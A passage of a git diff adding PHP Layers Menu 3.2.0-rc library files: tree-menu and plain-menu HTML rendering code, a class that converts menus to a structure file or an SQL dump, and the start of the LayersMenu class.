+       $img_collapse_corner    = $this->imgwww . "tree_collapse_corner." . $this->treeMenuImagesType;
+       $alt_collapse_corner    = "--";
+       $img_split              = $this->imgwww . "tree_split." . $this->treeMenuImagesType;
+       $alt_split              = "|-";
+       $img_corner             = $this->imgwww . "tree_corner." . $this->treeMenuImagesType;
+       $alt_corner             = "`-";
+       $img_folder_closed      = $this->imgwww . "tree_folder_closed." . $this->treeMenuImagesType;
+       $alt_folder_closed      = "->";
+       $img_folder_open        = $this->imgwww . "tree_folder_open." . $this->treeMenuImagesType;
+       $alt_folder_open        = "->";
+       $img_leaf               = $this->imgwww . "tree_leaf." . $this->treeMenuImagesType;
+       $alt_leaf               = "->";
+
+       for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+               $expand[$i] = 0;
+               $visible[$i] = 0;
+               $this->tree[$i]["last_item"] = 0;
+       }
+       for ($i=0; $i<=$this->_maxLevel[$menu_name]; $i++) {
+               $levels[$i] = 0;
+       }
+
+       // Get numbers of nodes to be expanded
+       if ($p != "") {
+               $explevels = explode($this->treeMenuSeparator, $p);
+               $explevels_count = count($explevels);
+               for ($i=0; $i<$explevels_count; $i++) {
+                       $expand[$explevels[$i]] = 1;
+               }
+       }
+
+       // Find last nodes of subtrees
+       $last_level = $this->_maxLevel;
+       for ($i=$this->_lastItem[$menu_name]; $i>=$this->_firstItem[$menu_name]; $i--) {
+               if ($this->tree[$i]["level"] < $last_level) {
+                       for ($j=$this->tree[$i]["level"]+1; $j<=$this->_maxLevel[$menu_name]; $j++) {
+                               $levels[$j] = 0;
+                       }
+               }
+               if ($levels[$this->tree[$i]["level"]] == 0) {
+                       $levels[$this->tree[$i]["level"]] = 1;
+                       $this->tree[$i]["last_item"] = 1;
+               } else {
+                       $this->tree[$i]["last_item"] = 0;
+               }
+               $last_level = $this->tree[$i]["level"];
+       }
+
+       // Determine visible nodes
+       // all root nodes are always visible
+       for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+               if ($this->tree[$i]["level"] == 1) {
+                       $visible[$i] = 1;
+               }
+       }
+       if (isset($explevels)) {
+               for ($i=0; $i<$explevels_count; $i++) {
+                       $n = $explevels[$i];
+                       if ($n >= $this->_firstItem[$menu_name] && $n <= $this->_lastItem[$menu_name] && $visible[$n] == 1 && $expand[$n] == 1) {
+                               $j = $n + 1;
+                               while ($j<=$this->_lastItem[$menu_name] && $this->tree[$j]["level"]>$this->tree[$n]["level"]) {
+                                       if ($this->tree[$j]["level"] == $this->tree[$n]["level"]+1) {
+                                               $visible[$j] = 1;
+                                       }
+                                       $j++;
+                               }
+                       }
+               }
+       }
+
+       // Output nicely formatted tree
+       for ($i=0; $i<$this->_maxLevel[$menu_name]; $i++) {
+               $levels[$i] = 1;
+       }
+       $max_visible_level = 0;
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($visible[$cnt]) {
+                       $max_visible_level = max($max_visible_level, $this->tree[$cnt]["level"]);
+               }
+       }
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($visible[$cnt]) {
+                       if ($this->tree[$cnt]["link"] == "" || $this->tree[$cnt]["link"] == "#") {
+                               $this->_phpTreeMenu[$menu_name] .= "<div style=\"display: block; white-space: nowrap;\" class=\"phplmnormal\">\n";
+                       } else {
+                               $this->_phpTreeMenu[$menu_name] .= "<div style=\"display: block; white-space: nowrap;\">\n"; 
+                       }
+
+                       // vertical lines from higher levels
+                       for ($i=0; $i<$this->tree[$cnt]["level"]-1; $i++) {
+                               if ($levels[$i] == 1) {
+                                       $img = $img_vertline;
+                                       $alt = $alt_vertline;
+                               } else {
+                                       $img = $img_space;
+                                       $alt = $alt_space;
+                               }
+                               $this->_phpTreeMenu[$menu_name] .= "<img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img . "\" alt=\"" . $alt . "\" />";
+                       }
+
+                       $not_a_leaf = $cnt<$this->_lastItem[$menu_name] && $this->tree[$cnt+1]["level"]>$this->tree[$cnt]["level"];
+
+                       if ($not_a_leaf) {
+                               // Create expand/collapse parameters
+                               $params = "";
+                               for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+                                       if ($expand[$i] == 1 && $cnt!= $i || ($expand[$i] == 0 && $cnt == $i)) {
+                                               $params .= $this->treeMenuSeparator . $i;
+                                       }
+                               }
+                               if ($params != "") {
+                                       $params = substr($params, 1);
+                               }
+                       }
+
+                       if ($this->tree[$cnt]["last_item"] == 1) {
+                       // corner at end of subtree or t-split
+                               if ($not_a_leaf) {
+                                       if ($expand[$cnt] == 0) {
+                                               $img = $img_expand_corner;
+                                               $alt = $alt_expand_corner;
+                                       } else {
+                                               $img = $img_collapse_corner;
+                                               $alt = $alt_collapse_corner;
+                                       }
+                                       $this->_phpTreeMenu[$menu_name] .= "<a name=\"" . $cnt . "\" class=\"phplm\" href=\"" . $url . $query . $params . "#" . $cnt . "\"><img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img . "\" alt=\"" . $alt . "\" /></a>";
+                               } else {
+                                       $this->_phpTreeMenu[$menu_name] .= "<img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img_corner . "\" alt=\"" . $alt_corner . "\" />";
+                               }
+                               $levels[$this->tree[$cnt]["level"]-1] = 0;
+                       } else {
+                               if ($not_a_leaf) {
+                                       if ($expand[$cnt] == 0) {
+                                               $img = $img_expand;
+                                               $alt = $alt_expand;
+                                       } else {
+                                               $img = $img_collapse;
+                                               $alt = $alt_collapse;
+                                       }
+                                       $this->_phpTreeMenu[$menu_name] .= "<a name=\"" . $cnt . "\" class=\"phplm\" href=\"" . $url . $query . $params . "#" . $cnt . "\"><img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img . "\" alt=\"" . $alt . "\" /></a>";
+                               } else {
+                                       $this->_phpTreeMenu[$menu_name] .= "<img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img_split . "\" alt=\"" . $alt_split . "\" />";
+                               }
+                               $levels[$this->tree[$cnt]["level"]-1] = 1;
+                       }
+
+                       if ($this->tree[$cnt]["link"] == "" || $this->tree[$cnt]["link"] == "#") {
+                               $a_href_open = "";
+                               $a_href_close = "";
+                       } else {
+                               $a_href_open = "<a class=\"phplm\" href=\"" . $this->tree[$cnt]["link"] . "\"" . $this->tree[$cnt]["title"] . $this->tree[$cnt]["target"] . ">";
+                               $a_href_close = "</a>";
+                       }
+
+                       if ($not_a_leaf) {
+                               if ($expand[$cnt] == 1) {
+                                       $img = $img_folder_open;
+                                       $alt = $alt_folder_open;
+                               } else {
+                                       $img = $img_folder_closed;
+                                       $alt = $alt_folder_closed;
+                               }
+                               $this->_phpTreeMenu[$menu_name] .= $a_href_open . "<img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img . "\" alt=\"" . $alt . "\" />" . $a_href_close;
+                       } else {
+                               if ($this->tree[$cnt]["icon"] != "") {
+                                       $this->_phpTreeMenu[$menu_name] .= $a_href_open . "<img align=\"top\" border=\"0\" src=\"" . $this->imgwww . $this->tree[$cnt]["icon"] . "\" width=\"" . $this->tree[$cnt]["iconwidth"] . "\" height=\"" . $this->tree[$cnt]["iconheight"] . "\" alt=\"" . $alt_leaf . "\" />" . $a_href_close;
+                               } else {
+                                       $this->_phpTreeMenu[$menu_name] .= $a_href_open . "<img align=\"top\" border=\"0\" class=\"imgs\" src=\"" . $img_leaf . "\" alt=\"" . $alt_leaf . "\" />" . $a_href_close;
+                               }
+                       }
+
+                       // output item text
+                       $foobar = $max_visible_level - $this->tree[$cnt]["level"] + 1;
+                       if ($foobar > 1) {
+                               $colspan = " colspan=\"" . $foobar . "\"";
+                       } else {
+                               $colspan = "";
+                       }
+                       $this->_phpTreeMenu[$menu_name] .= "&nbsp;" . $a_href_open . $this->tree[$cnt]["text"] . $a_href_close . "\n";
+                       $this->_phpTreeMenu[$menu_name] .= "</div>\n";
+               }
+       }
+/* ********************************************************* */
+
+/*
+       // Some (old) browsers do not support the "white-space: nowrap;" CSS property...
+       $this->_phpTreeMenu[$menu_name] =
+       "<table>\n" .
+       "<tr>\n" .
+       "<td class=\"phplmnormal\" nowrap=\"nowrap\">\n" .
+       $this->_phpTreeMenu[$menu_name] .
+       "</td>\n" .
+       "</tr>\n" .
+       "</table>\n";
+*/
+
+       return $this->_phpTreeMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested PHP Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose PHP Tree Menu code
+*   has to be returned
+* @return string
+*/
+function getPHPTreeMenu($menu_name) {
+       return $this->_phpTreeMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested PHP Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose PHP Tree Menu code
+*   has to be printed
+* @return void
+*/
+function printPHPTreeMenu($menu_name) {
+       print $this->_phpTreeMenu[$menu_name];
+}
+
+/**
+* The method to set the value of separator for the Plain Menu
+* @access public
+* @return void
+*/
+function setPlainMenuSeparator($plainMenuSeparator) {
+       $this->plainMenuSeparator = $plainMenuSeparator;
+}
+
+/**
+* The method to set plainMenuTpl
+* @access public
+* @return boolean
+*/
+function setPlainMenuTpl($plainMenuTpl) {
+       if (str_replace("/", "", $plainMenuTpl) == $plainMenuTpl) {
+               $plainMenuTpl = $this->tpldir . $plainMenuTpl;
+       }
+       if (!file_exists($plainMenuTpl)) {
+               $this->error("setPlainMenuTpl: file $plainMenuTpl does not exist.");
+               return false;
+       }
+       $this->plainMenuTpl = $plainMenuTpl;
+       return true;
+}
+
+/**
+* Method to prepare a new Plain Menu.
+*
+* This method processes items of a menu to prepare and return
+* the corresponding Plain Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newPlainMenu(
+       $menu_name = "" // non consistent default...
+       ) {
+       $plain_menu_blck = "";
+       $t = new Template();
+       $t->setFile("tplfile", $this->plainMenuTpl);
+       $t->setBlock("tplfile", "template", "template_blck");
+       $t->setBlock("template", "plain_menu_cell", "plain_menu_cell_blck");
+       $t->setVar("plain_menu_cell_blck", "");
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               $nbsp = "";
+               for ($i=1; $i<$this->tree[$cnt]["level"]; $i++) {
+                       $nbsp .= "&nbsp;&nbsp;&nbsp;";
+               }
+               $t->setVar(array(
+                       "nbsp"          => $nbsp,
+                       "link"          => $this->tree[$cnt]["link"],
+                       "title"         => $this->tree[$cnt]["title"],
+                       "target"        => $this->tree[$cnt]["target"],
+                       "text"          => $this->tree[$cnt]["text"]
+               ));
+               $plain_menu_blck .= $t->parse("plain_menu_cell_blck", "plain_menu_cell", false);
+       }
+       $t->setVar("plain_menu_cell_blck", $plain_menu_blck);
+       $this->_plainMenu[$menu_name] = $t->parse("template_blck", "template");
+
+       return $this->_plainMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Plain Menu code
+*   has to be returned
+* @return string
+*/
+function getPlainMenu($menu_name) {
+       return $this->_plainMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Plain Menu code
+*   has to be printed
+* @return void
+*/
+function printPlainMenu($menu_name) {
+       print $this->_plainMenu[$menu_name];
+}
+
+/**     
+* The method to set the value of separator for the Horizontal Plain Menu
+* @access public
+* @return void          
+*/
+function setHorizontalPlainMenuSeparator($horizontalPlainMenuSeparator) {
+       $this->horizontalPlainMenuSeparator = $horizontalPlainMenuSeparator;
+}
+
+/**
+* The method to set horizontalPlainMenuTpl
+* @access public
+* @return boolean
+*/
+function setHorizontalPlainMenuTpl($horizontalPlainMenuTpl) {
+       if (str_replace("/", "", $horizontalPlainMenuTpl) == $horizontalPlainMenuTpl) {
+               $horizontalPlainMenuTpl = $this->tpldir . $horizontalPlainMenuTpl;
+       }
+       if (!file_exists($horizontalPlainMenuTpl)) {
+               $this->error("setHorizontalPlainMenuTpl: file $horizontalPlainMenuTpl does not exist.");
+               return false;
+       }
+       $this->horizontalPlainMenuTpl = $horizontalPlainMenuTpl;
+       return true;
+}
+
+/**
+* Method to prepare a new Horizontal Plain Menu.
+*
+* This method processes items of a menu to prepare and return
+* the corresponding Horizontal Plain Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newHorizontalPlainMenu(
+       $menu_name = "" // non consistent default...
+       ) {
+       $horizontal_plain_menu_blck = "";
+       $t = new Template();
+       $t->setFile("tplfile", $this->horizontalPlainMenuTpl);
+       $t->setBlock("tplfile", "template", "template_blck");
+       $t->setBlock("template", "horizontal_plain_menu_cell", "horizontal_plain_menu_cell_blck");
+       $t->setVar("horizontal_plain_menu_cell_blck", "");
+       $t->setBlock("horizontal_plain_menu_cell", "plain_menu_cell", "plain_menu_cell_blck");  
+       $t->setVar("plain_menu_cell_blck", "");
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]["level"] == 1 && $cnt > $this->_firstItem[$menu_name]) {
+                       $t->parse("horizontal_plain_menu_cell_blck", "horizontal_plain_menu_cell", true);
+                       $t->setVar("plain_menu_cell_blck", "");
+               }
+               $nbsp = "";
+               for ($i=1; $i<$this->tree[$cnt]["level"]; $i++) {
+                       $nbsp .= "&nbsp;&nbsp;&nbsp;";
+               }
+               $t->setVar(array(
+                       "nbsp"          => $nbsp,
+                       "link"          => $this->tree[$cnt]["link"],
+                       "title"         => $this->tree[$cnt]["title"],
+                       "target"        => $this->tree[$cnt]["target"],
+                       "text"          => $this->tree[$cnt]["text"]
+               ));
+               $t->parse("plain_menu_cell_blck", "plain_menu_cell", true);
+       }
+       $t->parse("horizontal_plain_menu_cell_blck", "horizontal_plain_menu_cell", true);
+       $this->_horizontalPlainMenu[$menu_name] = $t->parse("template_blck", "template");
+
+       return $this->_horizontalPlainMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested Horizontal Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Horizontal Plain Menu code
+*   has to be returned
+* @return string
+*/
+function getHorizontalPlainMenu($menu_name) {
+       return $this->_horizontalPlainMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested Horizontal Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Horizontal Plain Menu code
+*   has to be printed
+* @return void
+*/
+function printHorizontalPlainMenu($menu_name) {
+       print $this->_horizontalPlainMenu[$menu_name];
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/layersmenu-process.inc.php b/lib/layersmenu-process.inc.php
new file mode 100755 (executable)
index 0000000..13033c9
--- /dev/null
@@ -0,0 +1,158 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the ProcessLayersMenu class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is an extension of the "common" class of the PHP Layers Menu library.
+*
+* It provides methods useful to process/convert menus data, e.g. to output a menu structure and a DB SQL dump corresponding to already parsed data and hence also to convert a menu structure file to a DB SQL dump and viceversa
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class ProcessLayersMenu extends LayersMenuCommon
+{
+
+/**
+* The constructor method
+* @return void
+*/
+function ProcessLayersMenu()
+{
+       $this->LayersMenuCommon();
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirroot($dirroot)
+{
+       return $this->setDirrootCommon($dirroot);
+}
+
+/**
+* Method to output a menu structure corresponding to items of a menu
+* @access public
+* @param string $menu_name the name of the menu for which a menu structure
+*   has to be returned
+* @param string $separator the character used in the menu structure format
+*   to separate fields of each item
+* @return string
+*/
+function getMenuStructure(
+       $menu_name = '',        // non consistent default...
+       $separator = '|'
+       )
+{
+       $menuStructure = '';
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the menu
+               $menuStructure .= str_repeat('.', $this->tree[$cnt]['level']);
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['text'];
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['href'];
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['title'];
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['icon'];
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['target'];
+               $menuStructure .= $separator;
+               $menuStructure .= $this->tree[$cnt]['expanded'];
+               $menuStructure .= "\n";
+       }
+       return $menuStructure;
+}
+
+/**
+* Method to output a DB SQL dump corresponding to items of a menu
+* @access public
+* @param string $menu_name the name of the menu for which a DB SQL dump
+*   has to be returned
+* @param string $db_type the type of DB to dump for;
+*   leave it either empty or not specified if you are using PHP < 5,
+*   as sqlite_escape_string() has been added in PHP 5;
+*   it has to be specified and set to 'sqlite' only if the dump
+*   has to be prepared for SQLite; it is not significant if != 'sqlite'
+* @return string
+*/
+function getSQLDump(
+       $menu_name = '',        // non consistent default...
+       $db_type = ''
+       )
+{
+       $SQLDump = '';
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the menu
+               $current_node[$this->tree[$cnt]['level']] = $cnt;
+               if (!$this->tree[$cnt]['child_of_root_node']) {
+                       $this->tree[$cnt]['father_node'] = $current_node[$this->tree[$cnt]['level']-1];
+               }
+               $VALUES = '';
+               $SQLDump .= 'INSERT INTO ';
+               $SQLDump .= $this->tableName;
+               $SQLDump .= ' (';
+               $SQLDump .= $this->tableFields['id'] . ', ';
+               $VALUES .= "'" . 10*$cnt . "', ";
+               $SQLDump .= $this->tableFields['parent_id'] . ', ';
+               if (isset($this->tree[$cnt]['father_node']) && $this->tree[$cnt]['father_node'] != 0) {
+                       $VALUES .= "'" . 10*$this->tree[$cnt]['father_node'] . "', ";
+               } else {
+                       $VALUES .= "'1', ";
+               }
+               $SQLDump .= $this->tableFields['text'] . ', ';
+               $foobar = $this->tree[$cnt]['text'];
+               if ($foobar != '') {
+                       if ($db_type != 'sqlite') {
+                               $foobar = addslashes($foobar);
+                       } else {
+                               $foobar = sqlite_escape_string($foobar);
+                       }
+               }
+               $VALUES .= "'$foobar', ";
+               $SQLDump .= $this->tableFields['href'] . ', ';
+               $VALUES .= "'" . $this->tree[$cnt]['href'] . "', ";
+               if ($this->tableFields['title'] != "''") {
+                       $SQLDump .= $this->tableFields['title'] . ', ';
+                       $foobar = $this->tree[$cnt]['title'];
+                       if ($foobar != '') {
+                               if ($db_type != 'sqlite') {
+                                       $foobar = addslashes($foobar);
+                               } else {
+                                       $foobar = sqlite_escape_string($foobar);
+                               }
+                       }
+                       $VALUES .= "'$foobar', ";
+               }
+               if ($this->tableFields['icon'] != "''") {
+                       $SQLDump .= $this->tableFields['icon'] . ', ';
+                       $VALUES .= "'" . $this->tree[$cnt]['icon'] . "', ";
+               }
+               if ($this->tableFields['target'] != "''") {
+                       $SQLDump .= $this->tableFields['target'] . ', ';
+                       $VALUES .= "'" . $this->tree[$cnt]['target'] . "', ";
+               }
+               if ($this->tableFields['orderfield'] != "''") {
+                       $SQLDump .= $this->tableFields['orderfield'] . ', ';
+                       $VALUES .= "'" . 10*$cnt . "', ";
+               }
+               if ($this->tableFields['expanded'] != "''") {
+                       $SQLDump .= $this->tableFields['expanded'] . ', ';
+                       $this->tree[$cnt]['expanded'] = (int) $this->tree[$cnt]['expanded'];
+                       $VALUES .= "'" . $this->tree[$cnt]['expanded'] . "', ";
+               }
+               $SQLDump = substr($SQLDump, 0, -2);
+               $VALUES = substr($VALUES, 0, -2);
+               $SQLDump .= ") VALUES ($VALUES);\n";
+       }
+       return $SQLDump;
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/layersmenu.inc.php b/lib/layersmenu.inc.php
new file mode 100755 (executable)
index 0000000..b110e9c
--- /dev/null
@@ -0,0 +1,942 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the LayersMenu class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is the LayersMenu class of the PHP Layers Menu library.
+*
+* This class depends on the LayersMenuCommon class and on the PEAR conforming version of the PHPLib Template class, i.e. on HTML_Template_PHPLIB
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class LayersMenu extends LayersMenuCommon
+{
+
+/**
+* The template to be used for the first level menu of a horizontal menu.
+*
+* The value of this variable is significant only when preparing
+* a horizontal menu.
+*
+* @access private
+* @var string
+*/
+var $horizontalMenuTpl;
+/**
+* The template to be used for the first level menu of a vertical menu.
+*
+* The value of this variable is significant only when preparing
+* a vertical menu.
+*
+* @access private
+* @var string
+*/
+var $verticalMenuTpl;
+/**
+* The template to be used for submenu layers
+* @access private
+* @var string
+*/
+var $subMenuTpl;
+
+/**
+* A string containing the header needed to use the menu(s) in the page
+* @access private
+* @var string
+*/
+var $header;
+/**
+* This var tells if the header has been made or not
+* @access private
+* @var boolean
+*/
+var $_headerHasBeenMade = false;
+/**
+* The JS vector to list layers
+* @access private
+* @var string
+*/
+var $listl;
+/**
+* The JS vector of keys to know the father of each layer
+* @access private
+* @var string
+*/
+var $father_keys;
+/**
+* The JS vector of vals to know the father of each layer
+* @access private
+* @var string
+*/
+var $father_vals;
+/**
+* The JS function to set initial positions of all layers
+* @access private
+* @var string
+*/
+var $moveLayers;
+/**
+* An array containing the code related to the first level menu of each menu
+* @access private
+* @var array
+*/
+var $_firstLevelMenu;
+/**
+* A string containing the footer needed to use the menu(s) in the page
+* @access private
+* @var string
+*/
+var $footer;
+/**
+* This var tells if the footer has been made or not
+* @access private
+* @var boolean
+*/
+var $_footerHasBeenMade = false;
+
+/**
+* The image used for forward arrows.
+* @access private
+* @var string
+*/
+var $forwardArrowImg;
+/**
+* The image used for down arrows.
+* @access private
+* @var string
+*/
+var $downArrowImg;
+/**
+* A 1x1 transparent icon.
+* @access private
+* @var string
+*/
+var $transparentIcon;
+/**
+* An array to keep trace of layers containing / not containing icons
+* @access private
+* @var array
+*/
+var $_hasIcons;
+/**
+* Top offset for positioning of sub menu layers
+* @access private
+* @var integer
+*/
+var $menuTopShift;
+/**
+* Right offset for positioning of sub menu layers
+* @access private
+* @var integer
+*/
+var $menuRightShift;
+/**
+* Left offset for positioning of sub menu layers
+* @access private
+* @var integer
+*/
+var $menuLeftShift;
+/**
+* Threshold for vertical repositioning of a layer
+* @access private
+* @var integer
+*/
+var $thresholdY;
+/**
+* Step for the left boundaries of layers
+* @access private
+* @var integer
+*/
+var $abscissaStep;
+
+/**
+* The constructor method; it initializates the menu system
+* @return void
+*/
+function LayersMenu(
+       $menuTopShift = 6,      // Gtk2-like
+       $menuRightShift = 7,    // Gtk2-like
+       $menuLeftShift = 2,     // Gtk2-like
+       $thresholdY = 5,
+       $abscissaStep = 140
+       )
+{
+       $this->LayersMenuCommon();
+
+       $this->horizontalMenuTpl = $this->tpldir . 'layersmenu-horizontal_menu.ihtml';
+       $this->verticalMenuTpl = $this->tpldir . 'layersmenu-vertical_menu.ihtml';
+       $this->subMenuTpl = $this->tpldir . 'layersmenu-sub_menu.ihtml';
+
+       $this->header = '';
+       $this->listl = '';
+       $this->father_keys = '';
+       $this->father_vals = '';
+       $this->moveLayers = '';
+       $this->_firstLevelMenu = array();
+       $this->footer = '';
+
+       $this->transparentIcon = 'transparent.png';
+       $this->_hasIcons = array();
+       $this->forwardArrowImg['src'] = 'forward-arrow.png';
+       $this->forwardArrowImg['width'] = 4;
+       $this->forwardArrowImg['height'] = 7;
+       $this->downArrowImg['src'] = 'down-arrow.png';
+       $this->downArrowImg['width'] = 9;
+       $this->downArrowImg['height'] = 5;
+       $this->menuTopShift = $menuTopShift;
+       $this->menuRightShift = $menuRightShift;
+       $this->menuLeftShift = $menuLeftShift;
+       $this->thresholdY = $thresholdY;
+       $this->abscissaStep = $abscissaStep;
+}
+
+/**
+* The method to set the value of menuTopShift
+* @access public
+* @return void
+*/
+function setMenuTopShift($menuTopShift)
+{
+       $this->menuTopShift = $menuTopShift;
+}
+
+/**
+* The method to set the value of menuRightShift
+* @access public
+* @return void
+*/
+function setMenuRightShift($menuRightShift)
+{
+       $this->menuRightShift = $menuRightShift;
+}
+
+/**
+* The method to set the value of menuLeftShift
+* @access public
+* @return void
+*/
+function setMenuLeftShift($menuLeftShift)
+{
+       $this->menuLeftShift = $menuLeftShift;
+}
+
+/**
+* The method to set the value of thresholdY
+* @access public
+* @return void
+*/
+function setThresholdY($thresholdY)
+{
+       $this->thresholdY = $thresholdY;
+}
+
+/**
+* The method to set the value of abscissaStep
+* @access public
+* @return void
+*/
+function setAbscissaStep($abscissaStep)
+{
+       $this->abscissaStep = $abscissaStep;
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirroot($dirroot)
+{
+       $oldtpldir = $this->tpldir;
+       if ($foobar = $this->setDirrootCommon($dirroot)) {
+               $this->updateTpldir($oldtpldir);
+       }
+       return $foobar;
+}
+
+/**
+* The method to set the tpldir directory
+* @access public
+* @return boolean
+*/
+function setTpldir($tpldir)
+{
+       $oldtpldir = $this->tpldir;
+       if ($foobar = $this->setTpldirCommon($tpldir)) {
+               $this->updateTpldir($oldtpldir);
+       }
+       return $foobar;
+}
+
+/**
+* The method to update the templates directory path to the new tpldir
+* @access private
+* @return void
+*/
+function updateTpldir($oldtpldir)
+{
+       $oldlength = strlen($oldtpldir);
+       $foobar = strpos($this->horizontalMenuTpl, $oldtpldir);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->horizontalMenuTpl = $this->tpldir . substr($this->horizontalMenuTpl, $oldlength);
+       }
+       $foobar = strpos($this->verticalMenuTpl, $oldtpldir);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->verticalMenuTpl = $this->tpldir . substr($this->verticalMenuTpl, $oldlength);
+       }
+       $foobar = strpos($this->subMenuTpl, $oldtpldir);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->subMenuTpl = $this->tpldir . substr($this->subMenuTpl, $oldlength);
+       }
+}
+
+/**
+* The method to set horizontalMenuTpl
+* @access public
+* @return boolean
+*/
+function setHorizontalMenuTpl($horizontalMenuTpl)
+{
+       if (str_replace('/', '', $horizontalMenuTpl) == $horizontalMenuTpl) {
+               $horizontalMenuTpl = $this->tpldir . $horizontalMenuTpl;
+       }
+       if (!file_exists($horizontalMenuTpl)) {
+               $this->error("setHorizontalMenuTpl: file $horizontalMenuTpl does not exist.");
+               return false;
+       }
+       $this->horizontalMenuTpl = $horizontalMenuTpl;
+       return true;
+}
+
+/**
+* The method to set verticalMenuTpl
+* @access public
+* @return boolean
+*/
+function setVerticalMenuTpl($verticalMenuTpl)
+{
+       if (str_replace('/', '', $verticalMenuTpl) == $verticalMenuTpl) {
+               $verticalMenuTpl = $this->tpldir . $verticalMenuTpl;
+       }
+       if (!file_exists($verticalMenuTpl)) {
+               $this->error("setVerticalMenuTpl: file $verticalMenuTpl does not exist.");
+               return false;
+       }
+       $this->verticalMenuTpl = $verticalMenuTpl;
+       return true;
+}
+
+/**
+* The method to set subMenuTpl
+* @access public
+* @return boolean
+*/
+function setSubMenuTpl($subMenuTpl)
+{
+       if (str_replace('/', '', $subMenuTpl) == $subMenuTpl) {
+               $subMenuTpl = $this->tpldir . $subMenuTpl;
+       }
+       if (!file_exists($subMenuTpl)) {
+               $this->error("setSubMenuTpl: file $subMenuTpl does not exist.");
+               return false;
+       }
+       $this->subMenuTpl = $subMenuTpl;
+       return true;
+}
+
+/**
+* A method to set transparentIcon
+* @access public
+* @param string $transparentIcon a transparentIcon filename (without the path)
+* @return void
+*/
+function setTransparentIcon($transparentIcon)
+{
+       $this->transparentIcon = $transparentIcon;
+}
+
+/**
+* The method to set an image to be used for the forward arrow
+* @access public
+* @param string $forwardArrowImg the forward arrow image filename
+* @return boolean
+*/
+function setForwardArrowImg($forwardArrowImg)
+{
+       if (!file_exists($this->imgdir . $forwardArrowImg)) {
+               $this->error('setForwardArrowImg: file ' . $this->imgdir . $forwardArrowImg . ' does not exist.');
+               return false;
+       }
+       $foobar = getimagesize($this->imgdir . $forwardArrowImg);
+       $this->forwardArrowImg['src'] = $forwardArrowImg;
+       $this->forwardArrowImg['width'] = $foobar[0];
+       $this->forwardArrowImg['height'] = $foobar[1];
+       return true;
+}
+
+/**
+* The method to set an image to be used for the down arrow
+* @access public
+* @param string $downArrowImg the down arrow image filename
+* @return boolean
+*/
+function setDownArrowImg($downArrowImg)
+{
+       if (!file_exists($this->imgdir . $downArrowImg)) {
+               $this->error('setDownArrowImg: file ' . $this->imgdir . $downArrowImg . ' does not exist.');
+               return false;
+       }
+       $foobar = getimagesize($this->imgdir . $downArrowImg);
+       $this->downArrowImg['src'] = $downArrowImg;
+       $this->downArrowImg['width'] = $foobar[0];
+       $this->downArrowImg['height'] = $foobar[1];
+       return true;
+}
+
+/**
+* A method providing parsing needed both for horizontal and vertical menus; it can be useful also with the ProcessLayersMenu extended class
+* @access public
+* @param string $menu_name the name of the menu for which the parsing
+*   has to be performed
+* @return void
+*/
+function parseCommon(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $this->_hasIcons[$menu_name] = false;
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
